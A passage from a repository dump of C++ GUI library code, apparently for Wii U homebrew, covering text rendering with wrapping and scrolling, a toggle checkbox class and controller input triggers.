1.0f, 1.0f, 1.0f };\n\n#define TEXT_SCROLL_DELAY\t\t\t6\n#define\tTEXT_SCROLL_INITIAL_DELAY\t10\n#define MAX_LINES_TO_DRAW\t\t    10\n\n/**\n * Constructor for the GuiText class.\n */\n\nGuiText::GuiText()\n{\n\ttext = NULL;\n\tsize = presetSize;\n\tcurrentSize = size;\n\tcolor = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a);\n\talpha = presetColor.a;\n\talignment = presetAlignment;\n\tmaxWidth = presetMaxWidth;\n\twrapMode = 0;\n\ttextWidth = 0;\n\tfont = presentFont;\n\tlinestodraw = MAX_LINES_TO_DRAW;\n\ttextScrollPos = 0;\n\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\ttextScrollDelay = TEXT_SCROLL_DELAY;\n\tdefaultBlur = 4.0f;\n\tblurGlowIntensity = 0.0f;\n\tblurAlpha = 0.0f;\n\tblurGlowColor = glm::vec4(0.0f);\n\tinternalRenderingScale = presetInternalRenderingScale;\n}\n\nGuiText::GuiText(const char * t, s32 s, const glm::vec4 & c)\n{\n\ttext = NULL;\n\tsize = s;\n\tcurrentSize = size;\n\tcolor = c;\n\talpha = c[3];\n\talignment = ALIGN_CENTER | ALIGN_MIDDLE;\n\tmaxWidth = presetMaxWidth;\n\twrapMode = 0;\n\ttextWidth = 0;\n\tfont = presentFont;\n\tlinestodraw = MAX_LINES_TO_DRAW;\n\ttextScrollPos = 0;\n\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\ttextScrollDelay = TEXT_SCROLL_DELAY;\n\tdefaultBlur = 4.0f;\n\tblurGlowIntensity = 0.0f;\n\tblurAlpha = 0.0f;\n\tblurGlowColor = glm::vec4(0.0f);\n\tinternalRenderingScale = presetInternalRenderingScale;\n\n\tif(t)\n\t{\n\t\ttext = FreeTypeGX::charToWideChar(t);\n\t\tif(!text)\n\t\t\treturn;\n\n\t\ttextWidth = font->getWidth(text, currentSize);\n\t}\n}\n\nGuiText::GuiText(const wchar_t * t, s32 s, const glm::vec4 & c)\n{\n\ttext = NULL;\n\tsize = s;\n\tcurrentSize = size;\n\tcolor = c;\n\talpha = c[3];\n\talignment = ALIGN_CENTER | ALIGN_MIDDLE;\n\tmaxWidth = presetMaxWidth;\n\twrapMode = 0;\n\ttextWidth = 0;\n\tfont = presentFont;\n\tlinestodraw = MAX_LINES_TO_DRAW;\n\ttextScrollPos = 0;\n\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\ttextScrollDelay = TEXT_SCROLL_DELAY;\n\tdefaultBlur = 4.0f;\n\tblurGlowIntensity = 0.0f;\n\tblurAlpha = 0.0f;\n\tblurGlowColor = glm::vec4(0.0f);\n\tinternalRenderingScale = presetInternalRenderingScale;\n\n\tif(t)\n\t{\n\t\ttext = new (std::nothrow) wchar_t[wcslen(t)+1];\n\t\tif(!text)\n\t\t\treturn;\n\n\t\twcscpy(text, t);\n\n\t\ttextWidth = font->getWidth(text, currentSize);\n\t}\n}\n\n/**\n * Constructor for the GuiText class, uses presets\n */\nGuiText::GuiText(const char * t)\n{\n\ttext = NULL;\n\tsize = presetSize;\n\tcurrentSize = size;\n\tcolor = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a);\n\talpha = presetColor.a;\n\talignment = presetAlignment;\n\tmaxWidth = presetMaxWidth;\n\twrapMode = 0;\n\ttextWidth = 0;\n\tfont = presentFont;\n\tlinestodraw = MAX_LINES_TO_DRAW;\n\ttextScrollPos = 0;\n\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\ttextScrollDelay = TEXT_SCROLL_DELAY;\n\tdefaultBlur = 4.0f;\n\tblurGlowIntensity = 0.0f;\n\tblurAlpha = 0.0f;\n\tblurGlowColor = glm::vec4(0.0f);\n\tinternalRenderingScale = presetInternalRenderingScale;\n\n\tif(t)\n\t{\n\t\ttext = FreeTypeGX::charToWideChar(t);\n\t\tif(!text)\n\t\t\treturn;\n\n\t\ttextWidth = font->getWidth(text, currentSize);\n\t}\n}\n\n\n/**\n * Destructor for the GuiText class.\n */\nGuiText::~GuiText()\n{\n\tif(text)\n\t\tdelete [] text;\n\ttext = NULL;\n\n\tclearDynamicText();\n}\n\nvoid GuiText::setText(const char * t)\n{\n\tif(text)\n\t\tdelete [] text;\n\ttext = NULL;\n\n\tclearDynamicText();\n\n\ttextScrollPos = 0;\n\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\n\tif(t)\n\t{\n\t\ttext = FreeTypeGX::charToWideChar(t);\n\t\tif(!text)\n\t\t\treturn;\n\n\t\ttextWidth = font->getWidth(text, currentSize);\n\t}\n}\n\nvoid GuiText::setTextf(const char *format, ...)\n{\n\tif(!format)\n    {\n\t\tsetText((char *) NULL);\n\t\treturn;\n    }\n\n    s32 max_len = strlen(format) + 8192;\n\tchar *tmp = new char[max_len];\n\tva_list va;\n\tva_start(va, format);\n\tif((vsnprintf(tmp, max_len, format, va) >= 0) && tmp)\n\t{\n\t\tsetText(tmp);\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tdelete [] tmp;\n}\n\n\nvoid GuiText::setText(const wchar_t * t)\n{\n\tif(text)\n\t\tdelete [] text;\n\ttext = NULL;\n\n\tclearDynamicText();\n\n\ttextScrollPos = 0;\n\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\n\tif(t)\n\t{\n\t\ttext = new (std::nothrow) wchar_t[wcslen(t)+1];\n\t\tif(!text)\n\t\t\treturn;\n\n\t\twcscpy(text, t);\n\n\t\ttextWidth = font->getWidth(text, currentSize);\n\t}\n}\n\nvoid GuiText::clearDynamicText()\n{\n\tfor(u32 i = 0; i < textDyn.size(); i++)\n\t{\n\t\tif(textDyn[i])\n\t\t\tdelete [] textDyn[i];\n\t}\n\ttextDyn.clear();\n\ttextDynWidth.clear();\n}\n\nvoid GuiText::setPresets(s32 sz, const glm::vec4 & c, s32 w, s32 a)\n{\n\tpresetSize = sz;\n\tpresetColor = (GX2ColorF32) { (f32)c.r / 255.0f, (f32)c.g / 255.0f, (f32)c.b / 255.0f, (f32)c.a / 255.0f };\n\tpresetMaxWidth = w;\n\tpresetAlignment = a;\n}\n\nvoid GuiText::setPresetFont(FreeTypeGX *f)\n{\n\tpresentFont = f;\n}\n\nvoid GuiText::setFontSize(s32 s)\n{\n\tsize = s;\n}\n\nvoid GuiText::setMaxWidth(s32 width, s32 w)\n{\n\tmaxWidth = width;\n\twrapMode = w;\n\n\tif(w == SCROLL_HORIZONTAL)\n\t{\n\t\ttextScrollPos = 0;\n\t\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\t\ttextScrollDelay = TEXT_SCROLL_DELAY;\n\t}\n\n\tclearDynamicText();\n}\n\nvoid GuiText::setColor(const glm::vec4 & c)\n{\n\tcolor = c;\n\talpha = c[3];\n}\n\nvoid GuiText::setBlurGlowColor(float blur, const glm::vec4 & c)\n{\n\tblurGlowColor = c;\n\tblurGlowIntensity = blur;\n\tblurAlpha = c[3];\n}\n\ns32 GuiText::getTextWidth(s32 ind)\n{\n\tif(ind < 0 || ind >= (s32) textDyn.size())\n\t\treturn this->getTextWidth();\n\n\treturn font->getWidth(textDyn[ind], currentSize);\n}\n\nconst wchar_t * GuiText::getDynText(s32 ind)\n{\n\tif(ind < 0 || ind >= (s32) textDyn.size())\n\t\treturn text;\n\n\treturn textDyn[ind];\n}\n\n/**\n * Change font\n */\nbool GuiText::setFont(FreeTypeGX *f)\n{\n\tif(!f)\n\t\treturn false;\n\n\tfont = f;\n\ttextWidth = font->getWidth(text, currentSize);\n\treturn true;\n}\n\nstd::string GuiText::toUTF8(void) const\n{\n\tif(!text)\n\t\treturn std::string();\n\n    char *pUtf8 = FreeTypeGX::wideCharToUTF8(text);\n    if(!pUtf8)\n\t\treturn std::string();\n\n    std::string strOutput(pUtf8);\n\n    delete [] pUtf8;\n\n\treturn strOutput;\n}\n\nvoid GuiText::makeDottedText()\n{\n\ts32 pos = textDyn.size();\n\ttextDyn.resize(pos + 1);\n\n\ts32 i = 0, currentWidth = 0;\n\ttextDyn[pos] = new (std::nothrow) wchar_t[maxWidth];\n\tif(!textDyn[pos]) {\n\t\ttextDyn.resize(pos);\n\t\treturn;\n\t}\n\n\twhile (text[i])\n\t{\n\t\tcurrentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0);\n\t\tif (currentWidth >= maxWidth && i > 2)\n\t\t{\n\t\t\ttextDyn[pos][i - 2] = '.';\n\t\t\ttextDyn[pos][i - 1] = '.';\n\t\t\ttextDyn[pos][i] = '.';\n\t\t\ti++;\n\t\t\tbreak;\n\t\t}\n\n\t\ttextDyn[pos][i] = text[i];\n\n\t\ti++;\n\t}\n\ttextDyn[pos][i] = 0;\n}\n\nvoid GuiText::scrollText(u32 frameCount)\n{\n\tif (textDyn.size() == 0)\n\t{\n\t\ts32 pos = textDyn.size();\n\t\ts32 i = 0, currentWidth = 0;\n\t\ttextDyn.resize(pos + 1);\n\n\t\ttextDyn[pos] = new (std::nothrow) wchar_t[maxWidth];\n\t\tif(!textDyn[pos]) {\n\t\t\ttextDyn.resize(pos);\n\t\t\treturn;\n\t\t}\n\n\t\twhile (text[i] && currentWidth < maxWidth)\n\t\t{\n\t\t\ttextDyn[pos][i] = text[i];\n\n\t\t\tcurrentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0);\n\n\t\t\t++i;\n\t\t}\n\t\ttextDyn[pos][i] = 0;\n\n\t\treturn;\n\t}\n\n\tif (frameCount % textScrollDelay != 0)\n\t{\n\t\treturn;\n\t}\n\n\tif (textScrollInitialDelay)\n\t{\n\t\t--textScrollInitialDelay;\n\t\treturn;\n\t}\n\n\ts32 stringlen = wcslen(text);\n\n\t++textScrollPos;\n\tif (textScrollPos > stringlen)\n\t{\n\t\ttextScrollPos = 0;\n\t\ttextScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;\n\t}\n\n\ts32 ch = textScrollPos;\n\ts32 pos = textDyn.size() - 1;\n\n\tif (!textDyn[pos])\n\t\ttextDyn[pos] = new (std::nothrow) wchar_t[maxWidth];\n\n\tif(!textDyn[pos]) {\n\t\ttextDyn.resize(pos);\n\t\treturn;\n\t}\n\n\ts32 i = 0, currentWidth = 0;\n\n\twhile (currentWidth < maxWidth)\n\t{\n\t\tif (ch > stringlen - 1)\n\t\t{\n\t\t\ttextDyn[pos][i++] = ' ';\n\t\t\tcurrentWidth += font->getCharWidth(L' ', currentSize, ch > 0 ? text[ch - 1] : 0);\n\t\t\ttextDyn[pos][i++] = ' ';\n\t\t\tcurrentWidth += font->getCharWidth(L' ', currentSize, L' ');\n\t\t\ttextDyn[pos][i++] = ' ';\n\t\t\tcurrentWidth += font->getCharWidth(L' ', currentSize, L' ');\n\t\t\tch = 0;\n\n\t\t\tif(currentWidth >= maxWidth)\n\t\t\t\tbreak;\n\t\t}\n\n\t\ttextDyn[pos][i] = text[ch];\n\t\tcurrentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0);\n\t\t++ch;\n\t\t++i;\n\t}\n\ttextDyn[pos][i] = 0;\n}\n\nvoid GuiText::wrapText()\n{\n\tif (textDyn.size() > 0) return;\n\n\ts32 i = 0;\n\ts32 ch = 0;\n\ts32 linenum = 0;\n\ts32 lastSpace = -1;\n\ts32 lastSpaceIndex = -1;\n\ts32 currentWidth = 0;\n\n\twhile (text[ch] && linenum < linestodraw)\n\t{\n\t\tif (linenum >= (s32) textDyn.size())\n\t\t{\n\t\t\ttextDyn.resize(linenum + 1);\n\t\t\ttextDyn[linenum] = new (std::nothrow) wchar_t[maxWidth];\n\t\t\tif(!textDyn[linenum]) {\n\t\t\t\ttextDyn.resize(linenum);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\ttextDyn[linenum][i] = text[ch];\n\t\ttextDyn[linenum][i + 1] = 0;\n\n\t\tcurrentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0x0000);\n\n\t\tif (currentWidth >= maxWidth || (text[ch] == '\\n'))\n\t\t{\n            if(text[ch] == '\\n')\n            {\n\t\t\t\tlastSpace = -1;\n\t\t\t\tlastSpaceIndex = -1;\n            }\n\t\t\telse if (lastSpace >= 0)\n\t\t\t{\n\t\t\t\ttextDyn[linenum][lastSpaceIndex] = 0; // discard space, and everything after\n\t\t\t\tch = lastSpace; // go backwards to the last space\n\t\t\t\tlastSpace = -1; // we have used this space\n\t\t\t\tlastSpaceIndex = -1;\n\t\t\t}\n\n\t\t\tif (linenum + 1 == linestodraw && text[ch + 1] != 0x0000)\n\t\t\t{\n\t\t\t    if(i < 2)\n                    i = 2;\n\n\t\t\t\ttextDyn[linenum][i - 2] = '.';\n\t\t\t\ttextDyn[linenum][i - 1] = '.';\n\t\t\t\ttextDyn[linenum][i] = '.';\n\t\t\t\ttextDyn[linenum][i + 1] = 0;\n\t\t\t}\n\n\t\t\tcurrentWidth = 0;\n\t\t\t++linenum;\n\t\t\ti = -1;\n\t\t}\n\t\tif (text[ch] == ' ' && i >= 0)\n\t\t{\n\t\t\tlastSpace = ch;\n\t\t\tlastSpaceIndex = i;\n\t\t}\n\t\t++ch;\n\t\t++i;\n\t}\n}\n\n/**\n * Draw the text on screen\n */\nvoid GuiText::draw(CVideo *pVideo)\n{\n\tif(!text)\n\t\treturn;\n\n\tif(!isVisible())\n\t\treturn;\n\n    color[3] = getAlpha();\n    blurGlowColor[3] = blurAlpha * getAlpha();\n\n    float finalRenderingScale = 2.0f * internalRenderingScale;\n\n\ts32 newSize = size * getScale() * finalRenderingScale;\n\ts32 normal_size = size * getScale();\n\n\tif(newSize != currentSize)\n\t{\n\t\tcurrentSize = normal_size;\n\n\t\tif(text)\n\t\t\ttextWidth = font->getWidth(text, normal_size);\n\t}\n\n\tf32 x_pos = getCenterX() * finalRenderingScale;\n\tf32 y_pos = getCenterY() * finalRenderingScale;\n\n\tif(maxWidth > 0 && maxWidth <= textWidth)\n\t{\n\t\tif(wrapMode == DOTTED) // text dotted\n\t\t{\n\t\t\tif(textDyn.size() == 0)\n\t\t\t\tmakeDottedText();\n\n\t\t\tif(textDynWidth.size() != textDyn.size())\n            {\n                textDynWidth.resize(textDyn.size());\n\n                for(u32 i = 0; i < textDynWidth.size(); i++)\n                    textDynWidth[i] = font->getWidth(textDyn[i], newSize);\n            }\n\n\n\t\t\tif(textDyn.size() > 0)\n\t\t\t\tfont->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, textDynWidth[textDyn.size()-1], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);\n\t\t}\n\n\t\telse if(wrapMode == SCROLL_HORIZONTAL)\n\t\t{\n\t\t\tscrollText(pVideo->getFrameCount());\n\n\t\t\tif(textDyn.size() > 0)\n\t\t\t\tfont->drawText(pVideo, x_pos, y_pos, getDepth(), textDyn[textDyn.size()-1], newSize, color, alignment, maxWidth*finalRenderingScale, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);\n\n\t\t}\n\t\telse if(wrapMode == WRAP)\n\t\t{\n\t\t\ts32 lineheight = newSize + 6;\n\t\t\ts32 yoffset = 0;\n\t\t\ts32 voffset = 0;\n\n\t\t\tif(textDyn.size() == 0)\n\t\t\t\twrapText();\n\n\t\t\tif(textDynWidth.size() != textDyn.size())\n            {\n                textDynWidth.resize(textDyn.size());\n\n                for(u32 i = 0; i < textDynWidth.size(); i++)\n                    textDynWidth[i] = font->getWidth(textDyn[i], newSize);\n            }\n\n\t\t\tif(alignment & ALIGN_MIDDLE)\n\t\t\t\tvoffset = (lineheight * (textDyn.size()-1)) >> 1;\n\n\t\t\tfor(u32 i = 0; i < textDyn.size(); i++)\n\t\t\t{\n\t\t\t\tfont->drawText(pVideo, x_pos, y_pos + voffset + yoffset, getDepth(), textDyn[i], newSize, color, alignment, textDynWidth[i], defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);\n                yoffset -= lineheight;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t    uint16_t newtextWidth = font->getWidth(text, newSize);\n\t\tfont->drawText(pVideo, x_pos, y_pos, getDepth(), text, newSize, color, alignment, newtextWidth, defaultBlur, blurGlowIntensity, blurGlowColor,finalRenderingScale);\n\t}\n}\n"
  },
  {
    "path": "src/gui/GuiText.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_TEXT_H_\n#define GUI_TEXT_H_\n\n#include \"GuiElement.h\"\n//!Forward declaration\nclass FreeTypeGX;\n\n//!Display, manage, and manipulate text in the GUI\nclass GuiText : public GuiElement\n{\npublic:\n    //!Constructor\n    GuiText();\n    //!\\param t Text\n    //!\\param s Font size\n    //!\\param c Font color\n    GuiText(const char * t, s32 s, const glm::vec4 & c);\n    //!\\overload\n    //!\\param t Text\n    //!\\param s Font size\n    //!\\param c Font color\n    GuiText(const wchar_t * t, s32 s, const glm::vec4 & c);\n    //!\\overload\n    //!\\Assumes SetPresets() has been called to setup preferred text attributes\n    //!\\param t Text\n    GuiText(const char * t);\n    //!Destructor\n    virtual ~GuiText();\n    //!Sets the text of the GuiText element\n    //!\\param t Text\n    virtual void setText(const char * t);\n    virtual void setText(const wchar_t * t);\n    virtual void setTextf(const char *format, ...) __attribute__((format(printf,2,3)));\n    //!Sets up preset values to be used by GuiText(t)\n    //!Useful when printing multiple text elements, all with the same attributes set\n    //!\\param sz Font size\n    //!\\param c Font color\n    //!\\param w Maximum width of texture image (for text wrapping)\n    //!\\param wrap Wrapmode when w>0\n    //!\\param a Text alignment\n    static void setPresets(s32 sz, const glm::vec4 & c, s32 w, s32 a);\n    static void setPresetFont(FreeTypeGX *font);\n    //!Sets the font size\n    //!\\param s Font size\n    void setFontSize(s32 s);\n    //!Sets the maximum width of the drawn texture image\n    //!If the text exceeds this, it is wrapped to the next line\n    //!\\param w Maximum width\n    //!\\param m WrapMode\n    void setMaxWidth(s32 w = 0, s32 m = WRAP);\n    //!Sets the font color\n    //!\\param c Font color\n    void setColor(const glm::vec4 & c);\n\n    void setBlurGlowColor(float blurIntensity,  const glm::vec4 & c);\n\n    void setTextBlur(float blur) { defaultBlur = blur; }\n    //!Get the original text as char\n    virtual const wchar_t * getText() const { return text; }\n    virtual std::string toUTF8(void) const;\n    //!Get the Horizontal Size of Text\n    s32 getTextWidth() { return textWidth; }\n    s32 getTextWidth(s32 ind);\n    //!Get the max textwidth\n    s32 getTextMaxWidth() { return maxWidth; }\n    //!Get fontsize\n    s32 getFontSize() { return size; };\n    //!Set max lines to draw\n    void setLinesToDraw(s32 l) { linestodraw = l; }\n    //!Get current Textline (for position calculation)\n    const wchar_t * getDynText(s32 ind = 0);\n    virtual const wchar_t * getTextLine(s32 ind) { return getDynText(ind); };\n    //!Change the font\n    bool setFont(FreeTypeGX *font);\n    //! virtual function used in child classes\n    virtual s32 getStartWidth() { return 0; };\n    //!Constantly called to draw the text\n    void draw(CVideo *pVideo);\n    //! text enums\n    enum\n    {\n        WRAP,\n        DOTTED,\n        SCROLL_HORIZONTAL,\n        SCROLL_NONE\n    };\nprotected:\n    static FreeTypeGX * presentFont;\n    static s32 presetSize;\n    static s32 presetMaxWidth;\n    static float presetInternalRenderingScale;\n    static s32 presetAlignment;\n    static GX2ColorF32 presetColor;\n\n    //!Clear the dynamic text\n    void clearDynamicText();\n    //!Create a dynamic dotted text if the text is too long\n    void makeDottedText();\n    //!Scroll the text once\n    void scrollText(u32 frameCount);\n    //!Wrap the text to several lines\n    void wrapText();\n\n    wchar_t * text;\n    std::vector<wchar_t *> textDyn;\n    std::vector<uint16_t> textDynWidth;\n    s32 wrapMode; //!< Wrapping toggle\n    s32 textScrollPos; //!< Current starting index of text string for scrolling\n    s32 textScrollInitialDelay; //!< Delay to wait before starting to scroll\n    s32 textScrollDelay; //!< Scrolling speed\n    s32 size; //!< Font size\n    s32 maxWidth; //!< Maximum width of the generated text object (for text wrapping)\n    FreeTypeGX *font;\n    s32 textWidth;\n    s32 currentSize;\n    s32 linestodraw;\n    glm::vec4 color;\n    float defaultBlur;\n    float blurGlowIntensity;\n    float blurAlpha;\n    glm::vec4 blurGlowColor;\n    float internalRenderingScale;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiToggle.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiToggle.h\"\n/**\n * Constructor for the GuiToggle class.\n */\n\nGuiToggle::GuiToggle(bool checked,f32 width,f32 height)\n : GuiButton(width,height)\n{\n    bChanged = false;\n    selected = checked;\n    clicked.connect(this,&GuiToggle::OnToggleClick);\n}\n\n/**\n * Destructor for the GuiButton class.\n */\nGuiToggle::~GuiToggle()\n{\n    bChanged = false;\n    selected = false;\n}\n\nvoid GuiToggle::OnToggleClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger){\n    if(!isStateSet(STATE_DISABLED | STATE_HIDDEN | STATE_DISABLE_INPUT)){\n        if(selected){\n            setUnchecked();\n        }else{\n            setChecked();\n        }\n    }\n}\n\nvoid GuiToggle::update(GuiController * c){\n    GuiButton::update(c);\n}\n\n"
  },
  {
    "path": "src/gui/GuiToggle.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_TOGGLE_H_\n#define GUI_TOGGLE_H_\n\n#include \"GuiButton.h\"\n#include \"GuiFrame.h\"\n\n//!A simple CheckBox\nclass GuiToggle : public GuiButton, public sigslot::has_slots<>\n{\n\tpublic:\n\t\t//!Constructor\n\t\t//!\\param checked Checked\n\t\tGuiToggle(bool checked,f32 width,f32 height);\n\t\t//!Destructor\n\t\tvirtual ~GuiToggle();\n        void setValue(bool checked){\n            if(selected != checked){\n                selected = checked;\n                bChanged=true;\n                valueChanged(this,selected);\n            }\n        }\n        void setChecked(){\n            setValue(true);\n\n        }\n        void setUnchecked(){\n            setValue(false);\n        }\n        bool getValue(){\n            return selected;\n        }\n        sigslot::signal2<GuiToggle *, bool> valueChanged;\n        void OnToggleClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\tprotected:\n\n       bool selected;\n       bool bChanged;\n\n       void update(GuiController * c);\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiTrigger.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiElement.h\"\n#include \"GuiController.h\"\n#include \"GuiTrigger.h\"\n\n/**\n * Constructor for the GuiTrigger class.\n */\nGuiTrigger::GuiTrigger()\n    : chan(CHANNEL_ALL)\n    , btns(BUTTON_NONE)\n    , bClickEverywhere(false)\n    , bHoldEverywhere(false)\n    , bSelectionClickEverywhere(false)\n    , bLastTouched(false)\n{\n}\n\nGuiTrigger::GuiTrigger(u32 ch, u32 btn, bool clickEverywhere, bool holdEverywhere, bool selectionClickEverywhere)\n    : chan(ch)\n    , btns(btn)\n    , bClickEverywhere(clickEverywhere)\n    , bHoldEverywhere(holdEverywhere)\n    , bSelectionClickEverywhere(selectionClickEverywhere)\n    , bLastTouched(false)\n{\n}\n\n/**\n * Destructor for the GuiTrigger class.\n */\nGuiTrigger::~GuiTrigger()\n{\n}\n\n/**\n * Sets a simple trigger. Requires:\n * - Element is selected\n * - Trigger button is pressed\n */\nvoid GuiTrigger::setTrigger(u32 ch, u32 btn)\n{\n\tchan = ch;\n\tbtns = btn;\n}\n\nbool GuiTrigger::left(const GuiController *controller) const\n{\n    if((controller->chan & chan) == 0) {\n        return false;\n    }\n    if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_LEFT | STICK_L_LEFT))\n\t{\n\t    return true;\n\t}\n\treturn false;\n}\n\nbool GuiTrigger::right(const GuiController *controller) const\n{\n    if((controller->chan & chan) == 0) {\n        return false;\n    }\n    if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_RIGHT | STICK_L_RIGHT))\n\t{\n\t    return true;\n\t}\n\treturn false;\n}\n\nbool GuiTrigger::up(const GuiController *controller) const\n{\n    if((controller->chan & chan) == 0) {\n        return false;\n    }\n    if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_UP | STICK_L_UP))\n\t{\n\t    return true;\n\t}\n\treturn false;\n}\n\nbool GuiTrigger::down(const GuiController *controller) const\n{\n    if((controller->chan & chan) == 0) {\n        return false;\n    }\n    if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_DOWN | STICK_L_DOWN))\n\t{\n\t    return true;\n\t}\n\treturn false;\n}\n\ns32 GuiTrigger::clicked(const GuiController *controller) const\n{\n    if((controller->chan & chan) == 0) {\n        return CLICKED_NONE;\n    }\n\n    s32 bResult = CLICKED_NONE;\n\n    if(controller->data.touched && controller->data.validPointer && (btns & VPAD_TOUCH) && !controller->lastData.touched)\n    {\n        bResult = CLICKED_TOUCH;\n    }\n\n\tif(controller->data.buttons_d & btns)\n\t{\n\t    bResult = CLICKED_BUTTON;\n\t}\n\treturn bResult;\n}\n\nbool GuiTrigger::held(const GuiController *controller) const\n{\n    if((controller->chan & chan) == 0) {\n        return false;\n    }\n\n    bool bResult = false;\n\n    if(controller->data.touched && (btns & VPAD_TOUCH) && controller->data.validPointer && controller->lastData.touched && controller->lastData.validPointer)\n    {\n        bResult = true;\n    }\n\n\tif(controller->data.buttons_h & btns)\n\t{\n\t    bResult = true;\n\t}\n\n\treturn bResult;\n}\n\nbool GuiTrigger::released(const GuiController *controller) const\n{\n    if((controller->chan & chan) == 0) {\n        return false;\n    }\n\n    if(clicked(controller) || held(controller))\n        return false;\n\n    bool bResult = false;\n\n    if(!controller->data.touched && (btns & VPAD_TOUCH) && controller->lastData.touched && controller->lastData.validPointer)\n    {\n        bResult = true;\n    }\n\n\tif(controller->data.buttons_r & btns)\n\t{\n\t    bResult = true;\n\t}\n\n\treturn bResult;\n}\n\n"
  },
  {
    "path": "src/gui/GuiTrigger.h",
    "content": "/***************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_TRIGGER_H_\n#define GUI_TRIGGER_H_\n\n#include \"dynamic_libs/os_functions.h\"\n\n\n//!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element.\nclass GuiTrigger\n{\npublic:\n    enum eClicked{\n        CLICKED_NONE        = 0x00,\n        CLICKED_TOUCH       = 0x01,\n        CLICKED_BUTTON      = 0x02,\n    };\n    enum eChannels {\n        CHANNEL_1       = 0x01,\n        CHANNEL_2       = 0x02,\n        CHANNEL_3       = 0x04,\n        CHANNEL_4       = 0x08,\n        CHANNEL_5       = 0x10,\n        CHANNEL_ALL     = 0xFF\n    };\n    enum eButtons {\n        BUTTON_NONE     = 0x0000,\n        VPAD_TOUCH      = 0x80000000,\n        BUTTON_Z        = 0x20000,\n        BUTTON_C        = 0x10000,\n        BUTTON_A        = 0x8000,\n        BUTTON_B        = 0x4000,\n        BUTTON_X        = 0x2000,\n        BUTTON_Y        = 0x1000,\n        BUTTON_1        = BUTTON_Y,\n        BUTTON_2        = BUTTON_X,\n        BUTTON_LEFT     = 0x0800,\n        BUTTON_RIGHT    = 0x0400,\n        BUTTON_UP       = 0x0200,\n        BUTTON_DOWN     = 